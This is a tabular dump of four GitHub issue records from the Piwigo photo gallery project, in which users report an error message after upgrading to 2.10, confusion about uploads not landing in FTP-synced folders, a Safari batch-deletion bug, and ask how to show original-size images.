| 505,082,092 | 1,088 |
[
"Piwigo",
"Piwigo"
] |
After an update to 2.10 this morning, I've this message displayed on all pages, sometimes several times at the top. I've found an old BR (https://piwigo.org/bugs/view.php?id=2917 ) dealing with user cache, so I've tried to purge the user cache, without any effect on this issue.
I'v also tried to disable all plugins (still, no luck).
Here are some info:
```
Piwigo 2.10.0 Check for upgrade
Operating system: Linux
PHP: 7.0.33-0+deb9u5 (Show info) [2019-10-09 13:52:43]
MySQL: 5.5.5-10.1.41-MariaDB-0+deb9u1 [2019-10-09 13:52:43]
Graphics Library: GD 2.2.4
```
|
' category_cats.inc.php on line 315 ' displayed on all pages after update to 2.10
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1087/comments
| 9 |
2019-10-09T11:56:49Z
|
2019-10-21T18:41:43Z
|
https://github.com/Piwigo/Piwigo/issues/1087
| 504,602,729 | 1,087 |
[
"Piwigo",
"Piwigo"
] |
When I use FTP synchronization, piwigo creates albums from local folders, created by FTP.
Piwigo allows to upload photos to galleries albums. But after uploading I can't see this files in galleries folder?
First of all, it is completely not obvious that uploaded to galleries album photo does not appear in the appropriate folder on file system.
Is there any way to enforce piwigo uploading photo to galleries?
Or can I enforce moving photo to galleries album after uploading?
|
Upload to `galleries` album with piwigo UI
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1086/comments
| 0 |
2019-10-08T14:56:17Z
|
2019-10-08T14:56:17Z
|
https://github.com/Piwigo/Piwigo/issues/1086
| 504,096,700 | 1,086 |
[
"Piwigo",
"Piwigo"
] |
When using Safari Version 13.0.1 (14608.2.11.1.11), the batch manager is not able to delete images I'm selecting.
OS X Version: 10.14.6 -> 10.15
|
Batch Manager not deleting images on Safari
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1085/comments
| 0 |
2019-10-07T13:39:26Z
|
2019-11-07T14:43:59Z
|
https://github.com/Piwigo/Piwigo/issues/1085
| 503,459,182 | 1,085 |
[
"Piwigo",
"Piwigo"
] |
Viewing each image is a thumbnail of the display, I want to show the original image size
|
How to display the original image？
|
https://api.github.com/repos/Piwigo/Piwigo/issues/1084/comments
| 0 |
2019-10-03T05:47:39Z
|
2019-10-03T05:47:39Z
|
https://github.com/Piwigo/Piwigo/issues/1084
| 501,866,563 | 1,084 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.